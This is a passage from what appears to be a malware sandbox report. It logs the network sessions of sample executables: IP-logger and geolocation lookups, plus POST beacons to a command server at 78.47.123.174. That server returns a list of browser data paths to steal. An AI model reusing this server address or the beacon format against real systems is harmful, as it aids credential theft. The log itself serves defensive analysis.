65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-05-24 07:42:23 UTC	16384	IN	Data Raw: 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 64 69 73 63 75 73 73 69 6f 6e 73 2f 22 3e 0d 0a 09 09 09 09 09 09 09 44 69 73 63 75 73 73 69 6f 6e 73 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 77 6f 72 6b 73 68 6f 70 2f 22 3e 0d 0a 09 09 09 09 09 09 09 57 6f 72 6b 73 68 6f 70 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 Data Ascii: lass="submenuitem" href="https://steamcommunity.com/discussions/">Discussions</a><a class="submenuitem" href="https://steamcommunity.com/workshop/">Workshop</a><a class="sub
2024-05-24 07:42:23 UTC	3768	IN	Data Raw: 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 62 61 64 67 65 69 6e 66 6f 5f 62 61 64 67 65 5f 61 72 65 61 22 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 64 61 74 61 2d 70 61 6e 65 6c 3d 22 7b 26 71 75 6f 74 3b 66 6f 63 75 73 61 62 6c 65 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 63 6c 69 63 6b 4f 6e 41 63 74 69 76 61 74 65 26 71 75 6f 74 3b 3a 74 72 75 65 7d 22 20 63 6c 61 73 73 3d 22 70 65 72 73 6f 6e 61 5f 6c 65 76 65 6c 5f 62 74 6e 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 70 72 6f 66 69 6c 65 73 2f 37 36 35 36 31 31 39 39 36 38 39 37 31 37 38 39 39 2f 62 61 64 67 65 73 22 3e 0d 0a 09 09 09 09 09 09 09 Data Ascii: <div class="profile_header_badgeinfo_badge_area"><a data-panel="{"focusable":true,"clickOnActivate":true}" class="persona_level_btn" href="https://steamcommunity.com/profiles/76561199689717899/badges">
2024-05-24 07:42:23 UTC	1028	IN	Data Raw: 20 74 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 70 72 6f 76 69 64 65 64 20 62 79 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 6c 69 6e 6b 66 69 6c 74 65 72 2f 3f 75 3d 68 74 74 70 25 33 41 25 32 46 25 32 46 77 77 77 2e 67 65 6f 6e 61 6d 65 73 2e 6f 72 67 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 72 65 6c 3d 22 20 6e 6f 6f 70 65 6e 65 72 22 3e 67 65 6f 6e 61 6d 65 73 2e 6f 72 67 3c 2f 61 3e 2e 09 09 09 09 09 3c 62 72 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 76 61 6c 76 65 5f 6c 69 6e 6b 73 22 3e 0d 0a 09 09 09 09 09 09 09 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f Data Ascii: this website is provided by <a href="https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org" target="_blank" rel=" noopener">geonames.org</a>.<br><span class="valve_links"><a href="http://store.steampowered.com/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49811	172.67.132.113	443	6852	C:\Users\user\Desktop\BI6oo9z4In.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:42:24 UTC	196	OUT	GET /1nhuM4.js HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: iplogger.org
2024-05-24 07:42:24 UTC	1026	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:42:24 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close memory: 0.41255950927734375 expires: Fri, 24 May 2024 07:42:24 +0000 Cache-Control: no-store, no-cache, must-revalidate strict-transport-security: max-age=31536000 x-frame-options: SAMEORIGIN CF-Cache-Status: BYPASS Set-Cookie: 40589004137264047=2; expires=Sat, 24 May 2025 07:42:24 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict Set-Cookie: clhf03028ja=8.46.123.175; expires=Sat, 24 May 2025 07:42:24 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UtJG49NhLy1VwRjF3HYFII2why1lk8abrohhKaKAs2TSVukh68OrtAgZOL4UvRlOujCDuZlJmLVjy%2Fj%2BZTc17%2B7B%2BxWk2p0SD5Mvht%2B3hb4VlM1S7p3l0foCIKUkP4o%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba61ada905e65-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:42:24 UTC	122	IN	Data Raw: 37 34 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 00 0a 49 44 41 54 08 99 63 60 00 00 00 02 00 01 f4 71 64 a6 00 00 00 00 49 45 4e 44 ae 42 60 82 0d 0a Data Ascii: 74PNGIHDR%VPLTEz=tRNS@fpHYs+IDATc`qdIENDB`
2024-05-24 07:42:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49810	188.114.96.3	443	7356	C:\Users\user\Documents\SimpleAdobe\unbmFXV_GPtCMFoyWe7JMXak.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:42:24 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-05-24 07:42:24 UTC	889	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:42:24 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QIRHmqr5qgad9NGaYKEDqgTSq7ndXeAHt5mhsD%2B6T9UfYhCZiqU4RqfY7zCvZvnh91Un67HEo6l77UIjfUhyY7ODHWqt0b5NgDRHwP6%2BFvthTwG2n81%2Fa5jB55PJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba61b6c3142b9-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:42:24 UTC	419	IN	Data Raw: 31 39 63 0d 0a 7b 22 69 70 22 3a 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 73 74 61 74 65 73 20 6f 66 20 61 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 5f 72 75 73 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 63 6f 75 6e 74 72 79 5f 75 61 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 72 65 67 69 6f 6e 22 3a 22 4e 65 77 20 79 6f 72 6b 22 2c 22 72 65 67 69 6f 6e 5f 72 75 73 22 3a 22 5c 75 30 34 31 64 5c 75 30 34 34 63 5c 75 30 34 34 65 2d 5c 75 30 34 31 39 5c 75 30 34 33 65 5c 75 30 34 34 30 5c 75 30 34 33 61 22 2c 22 72 65 67 69 6f 6e 5f 75 61 22 3a 22 5c 75 30 34 31 64 5c 75 30 34 34 Data Ascii: 19c{"ip":"8.46.123.175","country_code":"US","country":"United states of america","country_rus":"\u0421\u0428\u0410","country_ua":"\u0421\u0428\u0410","region":"New york","region_rus":"\u041d\u044c\u044e-\u0419\u043e\u0440\u043a","region_ua":"\u041d\u044
2024-05-24 07:42:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49812	78.47.123.174	443	5868	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:42:25 UTC	186	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 07:42:25 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 07:42:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 07:42:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49816	172.67.147.32	443	6852	C:\Users\user\Desktop\BI6oo9z4In.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:42:25 UTC	193	OUT	GET /1pRXr7.txt HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: iplis.ru
2024-05-24 07:42:26 UTC	1146	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:42:26 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close set-cookie: 27631311137264047=2; expires=Sat, 24 May 2025 07:42:25 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict set-cookie: clhf03028ja=8.46.123.175; expires=Sat, 24 May 2025 07:42:25 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict memory: 0.41307830810546875 expires: Fri, 24 May 2024 07:42:25 +0000 Cache-Control: no-store, no-cache, must-revalidate strict-transport-security: max-age=604800 strict-transport-security: max-age=31536000 content-security-policy: img-src https: data:; upgrade-insecure-requests x-frame-options: SAMEORIGIN CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uKFx%2B3EheUELl6XdzVoCd5SZRB%2BMiJXi%2B1ygSwkUBfufmZ7LoJkSEUPiPC%2BWYh3P%2FDEVMAbomHvMbDvEmIy0tSnXct4%2FTFvpfy0dwzMaMZzZYvlDsVm4BS5S%2FQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba62259194361-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:42:26 UTC	122	IN	Data Raw: 37 34 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 00 0a 49 44 41 54 08 99 63 60 00 00 00 02 00 01 f4 71 64 a6 00 00 00 00 49 45 4e 44 ae 42 60 82 0d 0a Data Ascii: 74PNGIHDR%VPLTEz=tRNS@fpHYs+IDATc`qdIENDB`
2024-05-24 07:42:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49818	172.67.147.32	443	6852	C:\Users\user\Desktop\BI6oo9z4In.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:42:26 UTC	193	OUT	GET /1BV4j7.mp4 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: iplis.ru
2024-05-24 07:42:27 UTC	1136	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:42:27 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close memory: 0.4130706787109375 expires: Fri, 24 May 2024 07:42:27 +0000 Cache-Control: no-store, no-cache, must-revalidate strict-transport-security: max-age=604800 strict-transport-security: max-age=31536000 content-security-policy: img-src https: data:; upgrade-insecure-requests x-frame-options: SAMEORIGIN CF-Cache-Status: BYPASS Set-Cookie: 27450952137264047=2; expires=Sat, 24 May 2025 07:42:27 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict Set-Cookie: clhf03028ja=8.46.123.175; expires=Sat, 24 May 2025 07:42:27 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sPIIDPQUAv%2FMA1Q9XJXtNn6d9iCENCa3JdwK7iWBGpafOew3iWxcckYcqdCfMOUOMO%2FryIag5POyltIK5PHQP19em36%2BNfzMc28tSul2H57ywJXeMWXpF8wUmQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba6294d787c69-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:42:27 UTC	122	IN	Data Raw: 37 34 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 00 0a 49 44 41 54 08 99 63 60 00 00 00 02 00 01 f4 71 64 a6 00 00 00 00 49 45 4e 44 ae 42 60 82 0d 0a Data Ascii: 74PNGIHDR%VPLTEz=tRNS@fpHYs+IDATc`qdIENDB`
2024-05-24 07:42:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49819	34.117.186.192	443	4460	C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:42:26 UTC	237	OUT	GET /widget/demo/8.46.123.175 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: ipinfo.io
2024-05-24 07:42:26 UTC	514	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Fri, 24 May 2024 07:42:26 GMT content-type: application/json; charset=utf-8 Content-Length: 1028 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 2 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 07:42:26 UTC	876	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 0a 20 20 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 31 37 35 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 Data Ascii: { "input": "8.46.123.175", "data": { "ip": "8.46.123.175", "hostname": "static-cpe-8-46-123-175.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Lev
2024-05-24 07:42:26 UTC	152	IN	Data Raw: 20 20 22 65 6d 61 69 6c 22 3a 20 22 61 62 75 73 65 40 61 75 70 2e 6c 75 6d 65 6e 2e 63 6f 6d 22 2c 0a 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 43 65 6e 74 75 72 79 6c 69 6e 6b 20 41 62 75 73 65 20 44 65 73 6b 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 30 2f 32 34 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 31 2d 38 37 37 2d 38 38 36 2d 36 35 31 35 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: "email": "abuse@aup.lumen.com", "name": "Centurylink Abuse Desk", "network": "8.46.123.0/24", "phone": "+1-877-886-6515" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49817	78.47.123.174	443	5868	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:42:26 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBKFIDAAEHIEGCBFIDBF User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Content-Length: 279 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 07:42:26 UTC	279	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 46 49 44 41 41 45 48 49 45 47 43 42 46 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 41 37 38 41 31 32 34 36 33 33 42 33 30 32 33 30 31 31 38 35 39 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 2d 31 31 65 65 2d 38 63 31 38 2d 38 30 36 65 36 66 36 65 36 39 36 33 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 46 49 44 41 41 45 48 49 45 47 43 42 46 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 63 32 31 62 34 35 61 34 33 32 38 38 39 61 66 36 35 61 61 30 35 63 64 36 36 39 32 30 64 30 61 32 0d 0a 2d 2d 2d 2d 2d 2d Data Ascii: ------DBKFIDAAEHIEGCBFIDBFContent-Disposition: form-data; name="hwid"1A78A124633B3023011859-a33c7340-61ca-11ee-8c18-806e6f6e6963------DBKFIDAAEHIEGCBFIDBFContent-Disposition: form-data; name="build_id"c21b45a432889af65aa05cd66920d0a2------
2024-05-24 07:42:27 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 07:42:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 07:42:27 UTC	69	IN	Data Raw: 33 61 0d 0a 31 7c 31 7c 31 7c 30 7c 66 38 37 63 36 33 30 35 38 36 63 31 61 36 36 36 38 62 30 61 38 38 61 62 64 63 37 62 65 61 62 32 7c 31 7c 31 7c 31 7c 30 7c 30 7c 35 30 30 30 30 7c 30 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a1\|1\|1\|0\|f87c630586c1a6668b0a88abdc7beab2\|1\|1\|1\|0\|0\|50000\|00

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49820	172.67.75.166	443	4460	C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:42:27 UTC	261	OUT	GET /demo/home.php?s=8.46.123.175 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: db-ip.com
2024-05-24 07:42:28 UTC	658	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:42:27 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close x-iplb-request-id: A29E9F24:D4B8_93878F2E:0050_665044E3_EF98D9D:7B63 x-iplb-instance: 59128 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dmCMF268lj7XkBSwCxnX%2BGpAQ2sJtB3RwsZYMT7b%2FBMuUNp67NfYESp%2F07AQs63VeuJHUTrIdGqusA%2B8VuBJWIMQrO4P1ZTAZBrHMXWYmi%2BzgXjWOs8GibLxLA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba630384042e6-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:42:28 UTC	674	IN	Data Raw: 32 39 62 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 64 65 6d 6f 49 6e 66 6f 22 3a 7b 22 69 70 41 64 64 72 65 73 73 22 3a 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 22 63 6f 6e 74 69 6e 65 6e 74 43 6f 64 65 22 3a 22 4e 41 22 2c 22 63 6f 6e 74 69 6e 65 6e 74 4e 61 6d 65 22 3a 22 4e 6f 72 74 68 20 41 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 4e 61 6d 65 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 69 73 45 75 4d 65 6d 62 65 72 22 3a 66 61 6c 73 65 2c 22 63 75 72 72 65 6e 63 79 43 6f 64 65 22 3a 22 55 53 44 22 2c 22 63 75 72 72 65 6e 63 79 4e 61 6d 65 22 3a 22 44 6f 6c 6c 61 72 22 2c 22 70 68 6f 6e 65 50 72 65 66 69 78 22 3a 22 31 22 2c 22 6c 61 6e 67 75 61 67 65 73 22 3a Data Ascii: 29b{"status":"ok","demoInfo":{"ipAddress":"8.46.123.175","continentCode":"NA","continentName":"North America","countryCode":"US","countryName":"United States","isEuMember":false,"currencyCode":"USD","currencyName":"Dollar","phonePrefix":"1","languages":
2024-05-24 07:42:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49821	78.47.123.174	443	5868	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:42:28 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJJEGIEHIJKKFIDHDGID User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 07:42:28 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 45 47 49 45 48 49 4a 4b 4b 46 49 44 48 44 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 37 63 36 33 30 35 38 36 63 31 61 36 36 36 38 62 30 61 38 38 61 62 64 63 37 62 65 61 62 32 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 45 47 49 45 48 49 4a 4b 4b 46 49 44 48 44 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 63 32 31 62 34 35 61 34 33 32 38 38 39 61 66 36 35 61 61 30 35 63 64 36 36 39 32 30 64 30 61 32 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 45 47 49 45 48 49 4a 4b 4b 46 49 44 48 44 47 49 44 0d 0a 43 6f 6e 74 Data Ascii: ------HJJEGIEHIJKKFIDHDGIDContent-Disposition: form-data; name="token"f87c630586c1a6668b0a88abdc7beab2------HJJEGIEHIJKKFIDHDGIDContent-Disposition: form-data; name="build_id"c21b45a432889af65aa05cd66920d0a2------HJJEGIEHIJKKFIDHDGIDCont
2024-05-24 07:42:28 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 07:42:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 07:42:28 UTC	1564	IN	Data Raw: 36 31 30 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4e 6f 63 6d 39 74 61 58 56 74 66 46 78 44 61 48 4a 76 62 57 6c 31 62 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 52 76 63 6d 4e 6f 66 46 78 55 62 33 4a 6a 61 46 78 56 63 32 56 79 49 45 Data Ascii: 610R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfENocm9taXVtfFxDaHJvbWl1bVxVc2VyIERhdGF8Y2hyb21lfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfFRvcmNofFxUb3JjaFxVc2VyIE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49823	78.47.123.174	443	5868	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
